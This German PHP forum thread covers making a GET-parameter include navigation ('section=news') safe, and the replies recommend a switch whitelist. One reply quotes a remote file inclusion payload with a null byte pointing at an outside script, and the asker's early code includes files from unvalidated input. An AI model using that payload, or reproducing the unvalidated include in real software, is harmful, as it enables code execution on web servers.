index.php?section=links sicher machen+umbauen

xlanhackerx

Mitglied
Hallöchen allerseits.. ich verwende im moment für ne page den Quellcode dieses Beispieles
Andere einfache Art für z.B. index.php?section=links

PHP:
<?php
if($_GET['section'] != ""){
    $filename = $_GET['section'].".php";
    if(file_exists($filename)){
        include($filename);
    }
        else{
               echo "Datei nicht gefunden";
       
?>

Jetzt möchte ich aber die ganzen dateien wie news.php,articles.php,downloads.php usw in den ordner content verschieben und dann anhand vom filename das ganze erweitern.
PHP:
$filename = "content/"$_GET['section'].".php";
funktioniert allerdings nicht. Ich weiß leider auch nicht weiter..

Desweiteren wird am ende in einem Kommentar beschrieben das bei diesem beispiel eine sicherheitslücke auftritt.. Was genau meint der Autor mit
oder du ersetzt alle nicht alphanumerischen zeichen durch nen leeren String, dann ist es nicht möglich, andere Ordner zu includen

Könnte mir jemand bei diesen problemen helfen
ich möchte persönlich nicht auf die switchfunktion umsteigen da ich nun mich sehr in die get funktion eingearbeitet habe und so auch meine loginoption erstellt wurde.

Wäre euch sehr dankbar..

Mfg. Oliver
 
Hi,
probier es doch mal indem du ein "./" anfügst und den fehlenden punkt ergänzts.

PHP:
$filename = "./content/".$_GET['section'].".php";

Ich würde an deiner Stelle jedoch aufjedenfall auf die switch Konstruktion ausweichen denn deine Methode ist doch sehr unsicher...man kann die ausführung des zur sicherung angängten ".php" durch ein NullByte verhindern.

Code:
?section=http://www.server.com/bösesphpscript.txt?%00

Korrigiert mich bitte wenn ich Quatsch erzähle :)

Mfg. Ferrero
 
Naja.. klappt irgentwie auch nicht so richtig. hab jetzt auf einmal ne fehlermeldung von nem unexpected $end in /www/htdocs/w0093762/test/cms/website.php on line 33
Hier mal der Quellcode dieser datei.. soll nur ne testseite werden !!
PHP:
<html>
<head>
</head>
<body background="style/bg.png">
<table width="100%" border="0" cellspacing="0" cellpadding="0" align="center">
<table widht="800" border="0" cellspacing="0" cellspadding="0" align="center">
<tr><td colspan="2"><img src="header.gif"></td></tr>
<tr><td>
<a href="website.php?section=start"><b>Startseite</b></a>
<a href="website.php?section=news"><b>News</b></a>
<a href="website.php?section=artikel"><b>Artikel</b></a>
</td>
</table>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0" align="center">
<table widht="800" border="0" cellspacing="0" cellspadding="0" align="center">
<tr><td>
<?php 
if($_GET['section'] != ""){ 
    $filename = "./content/".$_GET['section'].".php";    
    if(file_exists($filename)){ 
        include($filename); 
    } 
        else{ 
               echo "Datei nicht gefunden"; 
}
        
?> 
</td></tr>
</table>
</table>
</body>
</html>
Mal ne andere frage. Wenn ich doch auf die switch umsteigen würde, müsste ich aber für jede Datei die ich "include" in die switchfunktion eintragen.. Desweiteren geht doch eine ?section=profil&profilid=100 funktion schnellern und besser zu realisieren mit GET als mit ner switchfunktion oder hab ich da jetzt was durcheinander gebracht

Belehrt mich ein besseren wenn ich falsch liegen sollte.

Mfg. Oliver
 
Du hast bei deinem Code ein "}" vergessen.

PHP:
<?php 
if($_GET['section'] != ""){
	$filename = "./content/".$_GET['section'].".php";
	if(file_exists($filename)){
		include($filename);
	} else {
		echo "Datei nicht gefunden";
	}
}
?>
...
Ja du musst bei verwendung der switch funktion jede Seite einzeln eintragen, aus diesem Grund ist es natürlich sehr viel einfacher sich die daten direkt aus dem GET zu holen, jedoch ist die Verwendung von switch und co. sehr viel sicherer.

Deshalb würde ich an deiner stelle die geringe mehrarbeit auf mich nehmen :)
 
Zuletzt bearbeitet:
Hi Oliver,
bei dir hört sich das immer so an, als würden sich GET und SWITCH gegenseitig ausschließen. Dem ist ja nicht so. Keines von beiden ist übrigens eine "Funktion".
Bei GET handelt es sich einfach um eine Methode, die Daten von einer Seite zur nächsten zu übertragen (nämlich mit dem Anhängen der Parameter an die URL: webseite.php?section=news).
Bei SWITCH handelt es sich um eine Anweisung, mit der du eine Variable auf viele verschiedene Werte prüfen kannst und je nach Wert dann was ausführen kannst.

Wenn du die SWITCH Anweisung benutzt (wie schon mehrfach empfohlen), dann musst du trotzdem die Daten per GET übergeben. Du rufst also die Seiten weiterhin mit webseite.php?section=news auf (benutzt also die GET-Methode zum übermitteln des section-Wertes) und includest dann aber nicht pauschal alles was da per GET reinkommt.
Besser ist es dann den GET-Wert mit einer SWITCH-Anweisung zu überprüfen:
PHP:
switch ($_GET['section']) {
  case "start":
  case "news":
  case "artikel": include("./content/".$_GET['section'].".php"); break;
  default: echo "Sektion nicht erlaubt";
}
Kommt also über den GET-Wert "start", "news" oder "artikel" rein, dann wird dieses Dokument includet und die SWITCH-Anweisung direkt danach verlassen (wegen dem break; ). Trifft der GET-Wert auf keinen der aufgeführten Sektionen zu, wird die Anweisung ausgeführt, die hinter dem default: steht.

Hoffe es ist ein bisschen klarer geworden,
Dom
 
Falls du immer noch Probleme hast,..ich habe es so gelöst:

PHP:
switch($inhalt)
{
    case home:
    $inhalt = "seiten/home.php";
    break;
    case links:
    $inhalt = "seiten/links.php";
    break;
    case bilder:
    $inhalt = "seiten/bilder.php";
    break;
  usw.
.
.
.
    default:
    $inhalt= "seiten/home.php";
    break;
}


so kannst du ganz leicht verlinken, funktioniert prima.
vielleicht hilft dir das:)
 
Verstanden hab ich das schon mit der switchoperation .Hab diese ja eigentlich am anfang benutzt, war mir dann allerdings sehr aufwending jedes mal die neue seite eintragen zu müssen welche ich "includen" möchte. Ist zwar auf jeden fall sicherer und ich denke ich werde doch auf die switch alternative umsteigen :-) .Wie ist dass denn mit subnavigation
Sagen wir mal ich will section=news&id=100 machen wie könnte ich sowas realisieren Ich dachte erst direkt in der news.php eine weitere switch oder GET Operation einzubauen welche dann einfach nach der ID der Mysqltabelle sich bezieht aber habe auch gehört man kann das direkt sozusagen in der hauptseite einbauen !!
Hab mal auf ner Seite sowas gefunden, ist zwar anders aber ähnlich.
PHP:
<?php

$show =@$_GET['show'];
if ($show == "" || !isset($show))
    {
        $parent=@$_GET['pageLink'];
        switch($parent)
        {
        case '1': 
            include('inc/start.php');
            break; 
        case '2': 
            include('inc/aktuell_start.php');
            break;
        case '3': 
            include('inc/praktikum_start.php'); 
            break; 
        case '4': 
            include('inc/interaktiv_start.php'); 
            break;
        case '5': 
            include('inc/presse_start.php'); 
            break; 
        case '6': 
            include('inc/archiv_start.php'); 
            break;
        case '7':
            include('inc/impressum_start.php'); ; 
            break;
        default: 
            $pageLink = 1;
            include ("inc/start.php");
            break;
        }
    }
else
{
switch($show)
{

case "start": 
    include('inc/start.php'); 
    break;
case "aktuell": 
    include('inc/aktuell_start.php'); 
    break;
case "impressum": 
    include('inc/impressum_start.php'); 
    break;
case "praktikum": 
    include('inc/praktikum_start.php'); 
    break;
case "header": 
    include('inc/header.php'); 
    break;
case "footer": 
    include('inc/footer.php'); 
    break;
case "kontakt": 
    include('inc/kontakt.php'); 
    break;
case "leistungen": 
    include('inc/leistungen.php'); 
    break;
case "oeffnungszeiten": 
    include('inc/oeffnungszeiten.php'); 
    break;
case "navi": 
    include('inc/navi.php'); 
    break;
case "team": 
    include('inc/team.php'); 
    break;
case "anfahrt": 
    include('inc/anfahrt.php'); 
    break;
case "navi2": 
    include('inc/navi2.php'); 
    break;
case "copyright": 
    include('inc/copyright.php'); 
    break;
case "archiv_hund": 
    include('inc/archiv_hund.php'); 
    break;
case "archiv_katze": 
    include('inc/archiv_katze.php'); 
    break;
case "archiv_pferd": 
    include('inc/archiv_pferd.php'); 
    break;
case "archiv_kl_ex": 
    include('inc/archiv_kl_ex.php'); 
    break;
case "archiv_nutzvieh": 
    include('inc/archiv_nutzvieh.php'); 
    break;
case "archiv_sonstige": 
    include('inc/archiv_sonstige.php'); 
    break;
case "presse_eigene": 
    include('inc/presse_eigene.php'); 
    break;
case "presse_fremde": 
    include('inc/presse_fremde.php'); 
    break;
case "aktuell_katze": 
    include('inc/aktuell_katze.php'); 
    break;
case "aktuell_hund": 
    include('inc/aktuell_hund.php'); 
    break;
case "aktuell_kl_ex": 
    include('inc/aktuell_kl_ex.php'); 
    break;
case "aktuell_pferd": 
    include('inc/aktuell_pferd.php'); 
    break;
case "aktuell_nutzvieh": 
    include('inc/aktuell_nutzvieh.php'); 
    break;
case "aktuell_sonstiges": 
    include('inc/aktuell_sonstiges.php'); 
    break;
case "kontaktformular_DR": 
    include('inc/kontaktformular_DR.php'); 
    break;
case "kontaktformular_TAH": 
    include('inc/kontaktformular_TAH.php'); 
    break;
case "kontaktformular_praktikum": 
    include('inc/kontaktformular_praktikum.php'); 
    break;
case "studenten_praktikum": 
    include('inc/studenten_praktikum.php'); 
    break;
case "newsletter": 
    include('inc/newsletter.php'); 
    break;
case "hinweise_regeln": 
    include('inc/hinweise_regeln.php'); 
    break;
case "gaestebuch": 
    include('inc/gaestebuch.php'); 
    break;
}
}
?>
Ist das nicht sowas in der Art was ich meinte
Oder wäre es doch besser die News.php extra mit ner switch auszurüsten
Hoffe ich hab mich mal wieder mit meinen Funktionen und Operationen usw einigermaßen klar ausgedrückt :p

Mfg. Oliver
 
also ich bin da auch nicht so der fachmann, weil ich stecke auch noch in den Anfängen,..jedoch habe ich es immer versucht so leicht wie möglich alles zu realisieren.
Also wenn ich es richtig verstanden habe, dann möchtest du nur eine "Weiterverlinkung"

Also ich habe es immer so gemacht...dass ich mit weiteren switch's auf den jeweiligen Seiten weiter verlinkt habe. Das andere habe ich noch nicht ausprobiert, weil ich immer Obejtkt bezogen programmiere.
 
Zuletzt bearbeitet:
Ok ich habe mich nun doch auf die switchvariante umschlagen lassen und dieses Beispiel wie oben genannt eingebaut !!
PHP:
switch ($_GET['section']) {
  case "start":
  case "news":
  case "artikel": include("./content/".$_GET['section'].".php"); break;
  default: echo "Sektion nicht erlaubt";
}
Allerdings merkt man sofort dass das Script nun länger braucht zum laden :-(
Desweiteren hätte ich da noch ne frage, braucht man denn keine if übergabe
In diesem beispiel ist dies verwendet worden !!
PHP:
<?php
    // die Datei inhalt.php
    
    if(isset($_GET['section'])) {
        switch($_GET['section']) {
            case "members":
                include "members.php";
                break;

            case "clanwars":
                include "clanwars.php";
                break;

            default:  // Wenn eine ungültige Section angegeben wurde
                    // sollen die News gezeigt werden
                include "news.php";
                break;
        }     
    } else {
        // wenn section nicht angegeben wurde
        // sollen die News angezeigt werden.
        include "news.php";
    }
?>

Seit mir jetzt bitte nicht böse, aber woran liegt nun genau der unterschied außer dem default und else befehl am ende
Wie könnte ich denn nun das mit der news.php realisieren, dass ich also section=news&id=1 usw. habe Ich komme da mit dem Code nicht zurecht !!

Mfg. Oliver
 
Allerdings merkt man sofort dass das Script nun länger braucht zum laden :-(
Bitte was? PHP heißt nicht umsonst so und ist nicht umsonst so häufig verwendet - Ein Makrotestcase, welches ich mal eben aufgesetzt habe, brauchte für 1000 Selfincludes gerade mal 0.3 Sekunden auf Windows Vista - Auf einem ordentlichen Linux-Server geht das noch 4 bis10 mal so schnell :rolleyes:
PHP:
<?php
if ( !isset( $c ) ) {
    $c = $d = 0;
    $t1 = microtime( true );
}
if ( $c < 1000 ) {
    ++$c;
    include ( __FILE__ );
    ++$d;
}
if ( $d == 100 ) {
    $t2 = microtime( true );
    echo sprintf( "%0.6f sec", $t2 - $t1 );
}

Für ein kleines Switch, welches im Maschinencode eh nach If-Else aufgeschlüsselt wird, braucht PHP noch nicht mal den Wimpernschlag eines Wimpernschlags.
Diese 1000 kleine ifs + Evaluierung brauchen 0.01 Sekunden:
PHP:
<?php
$t1 = $t2 = 0;
$t1 = microtime( true );
for ( $i = 0; $i < 1000; ) {
    if ( true ) ++$i;
}
$t2 = microtime( true );
echo sprintf( "%0.6f sec", $t2 - $t1 );

Desweiteren hätte ich da noch ne frage, braucht man denn keine if übergabe
PHP:
error_reporting( E_ALL | E_STRICT);
Dann weißt du, weshalb da ein If davorsteht. Es ist ganz einfach ne unfeine Sache, mit nicht initialisierten Variablen, Feldern oder Konstanten zu arbeiten - In fast jeder anderen Sprache würde dir sowas einen Compilierungsfehler einbringen.

Wie könnte ich denn nun das mit der news.php realisieren, dass ich also section=news&id=1 usw. habe Ich komme da mit dem Code nicht zurecht !!

$_GET['section'] verweist auf das News-Modul -> Du lädst das Newsmodul. In diesem wird geschaut, ob $_GET['id'] gesetzt ist, und wenn ja, suchst du in der Datenbank nach einer News mit der ID #$_GET['id'].
 
Zurück